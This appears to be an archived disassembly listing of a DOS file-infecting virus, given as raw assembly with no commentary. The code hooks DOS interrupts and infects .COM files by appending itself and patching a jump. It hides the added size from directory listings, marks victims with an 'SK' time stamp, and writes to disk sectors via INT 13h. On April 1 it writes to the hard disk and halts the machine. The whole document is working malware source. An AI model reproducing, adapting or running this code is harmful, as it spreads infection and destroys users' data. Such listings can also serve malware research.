home *** CD-ROM | disk | FTP | other *** search
- PAGE 60,132
- ;
- XSEG SEGMENT
- ; Seg=01387H
- ; Org=00000H
- ASSUME CS:XSEG
- XPROC PROC FAR
- JMP L6551
- DEC BX
- PUSH BX
- PUSH CX
- CALL L0009
- L0009: POP SI
- SUB SI,+09H
- PUSH SI
- CLD
- MOV DI,0100H
- MOV CX,0005H
- MOVSB
- JMP L01CE
- L001A: PUSHF
- PUSH CS
- CALL WORD PTR CS:[08C0H]
- DB 0C3H; RET
- STI
- CMP AH,4BH
- JE L0061
- CMP AH,11H
- JE L0035
- CMP AH,12H
- JE L0035
- JMP L01C0
- L0035: CALL L001A
- PUSH AX
- PUSH BX
- PUSH ES
- MOV AH,2FH
- CALL L001A
- MOV AX,534BH
- CMP ES:[BX+1EH],AX
- JNE L0050
- MOV AX,0254H
- SUB ES:[BX+24H],AX
- L0050: POP ES
- POP BX
- POP AX
- RET 0002H; 0CAH
- L0056: MOV BX,0F200H
- MOV CX,0001H
- MOV DH,00H
- INT 13H
- DB 0C3H; RET
- L0061: PUSHF
- PUSH SS
- PUSH AX
- PUSH BX
- PUSH CX
- PUSH DX
- PUSH DS
- PUSH ES
- PUSH SI
- PUSH DI
- XOR AX,AX
- MOV DS,AX
- MOV DI,DS:[0194H]
- MOV ES,DS:[0196H]
- MOV AX,WORD PTR DS:[004CH]
- MOV BX,DS:[004EH]
- MOV CX,0F000H
- MOV DX,0EC59H
- MOV DS:[0100H],DX
- MOV DS:[0102H],CX
- MOV WORD PTR DS:[0198H],AX
- MOV DS:[019AH],BX
- MOV DS:[004CH],DI
- MOV DS:[004EH],ES
- PUSH CS
- POP DS
- PUSH CS
- POP ES
- MOV AH,19H
- CALL L001A
- CMP AL,01H
- JNBE L00BB
- MOV DL,AL
- MOV AX,0201H
- CALL L0056
- MOV AX,0301H
- CALL L0056
- CMP AH,00H
- JNE L00D0
- L00BB: MOV AH,2AH
- CALL L001A
- CMP DX,0401H
- JNE L00D3
- MOV AX,030FH
- MOV DL,80H
- CALL L0056
- CLI
- HLT
- L00D0: JMP L01A4
- L00D3: MOV AH,2FH
- CALL L001A
- MOV CS:[08B0H],ES
- MOV CS:[08B2H],BX
- MOV AH,4EH
- MOV DX,0BD5H
- MOV CX,0000H
- CALL L001A
- JB L00D0
- L00EF: MOV AX,534BH
- CMP ES:[BX+16H],AX
- JNE L0101
- L00F8: MOV AH,4FH
- CALL L001A
- JB L00D0
- JMP SHORT L00EF
- L0101: MOV CX,05DCH
- CMP ES:[BX+1AH],CX
- JBE L00F8
- PUSH ES
- POP DS
- MOV AX,3D02H
- MOV DX,BX
- ADD DX,+1EH
- CALL L001A
- MOV WORD PTR CS:[0C65H],AX
- MOV BX,AX
- PUSH CS
- POP DS
- MOV AH,3FH
- MOV DX,0A10H
- MOV CX,0005H
- CALL L001A
- MOV DX,5A4DH
- CMP DS:[0A10H],DX
- JE L019A
- MOV DI,0C67H
- MOV AL,0E9H
- MOV [DI],AL
- INC DI
- MOV BX,DS:[08B2H]
- MOV CX,ES:[BX+1AH]
- INC CX
- INC CX
- MOV [DI],CX
- INC DI
- INC DI
- MOV AX,534BH
- MOV [DI],AX
- MOV BX,CS:[0C65H]
- MOV AX,4200H
- XOR CX,CX
- XOR DX,DX
- CALL L001A
- MOV AH,40H
- MOV DX,0C67H
- MOV CX,0005H
- CALL L001A
- MOV AX,4202H
- XOR CX,CX
- XOR DX,DX
- CALL L001A
- PUSH CS
- POP DS
- MOV BX,CS:[0C65H]
- MOV AH,40H
- MOV DX,0A10H
- MOV CX,0254H
- CALL L001A
- JB L019A
- MOV BX,CS:[0C65H]
- MOV AX,5700H
- CALL L001A
- MOV AX,5701H
- MOV CX,534BH
- CALL L001A
- L019A:
- MOV BX,CS:[0C65H]
- MOV AH,3EH
- CALL L001A
- L01A4: XOR AX,AX
- MOV DS,AX
- MOV AX,WORD PTR DS:[0198H]
- MOV BX,DS:[019AH]
- MOV WORD PTR DS:[004CH],AX
- MOV DS:[004EH],BX
- POP DI
- POP SI
- POP ES
- POP DS
- POP DX
- POP CX
- POP BX
- POP AX
- POP SS
- POPF
- L01C0:
- JMP WORD PTR CS:[08C0H]
- SUB CH,DS:[6F63H]
- DB 6DH
- ADD [BX+SI+0CF03H],DH
- L01CE: MOV AX,0070H
- MOV ES,AX
- MOV DI,0000H
- MOV AX,80FBH
- L01D9: CLD
- MOV CX,0FFFFH
- SCASW
- JE L01E6
- MOV DI,0001H
- JMP SHORT L01D9
- L01E6: MOV BX,02FCH
- CMP ES:[DI],BX
- JNE L01DD
- DEC DI
- DEC DI
- XOR AX,AX
- MOV DS,AX
- MOV DS:[0194H],DI
- MOV DS:[0196H],ES
- MOV ES,DS:[009EH]
- MOV BX,DS:[00A0H]
- PUSH CS
- POP DS
- MOV DX,BP
- MOV BP,DS
- POP SI
- PUSH SI
- MOV DI,0A10H
- MOV CX,0255H
- MOVSB
- PUSH ES
- LEA DI,[BX+1BH]
- MOV AL,0E9H
- STOSB
- MOV AX,0A30H
- SUB AX,DI
- STOSW
- MOV AX,9090H
- STOSW
- STOSW
- MOV ES:[08C0H],DI
- MOV AX,SS
- SUB AX,0018H
- CLI
- MOV SS,AX
- PUSH CS
- POP SS
- STI
- MOV DS,BP
- MOV BP,DX
- POP ES
- PUSH CS
- POP ES
- POP SI
- POP CX
- XOR DX,DX
- XOR SI,SI
- XOR AX,AX
- XOR BX,BX
- MOV DI,0100H
- JMP DI
- DEC BP
- DB 69H
- DB 6CH
- DB 65H
- DB 6EH
- DB 61H
- AND [BP+DI+02H],CL
- XPROC ENDP
- XSEG ENDS
- END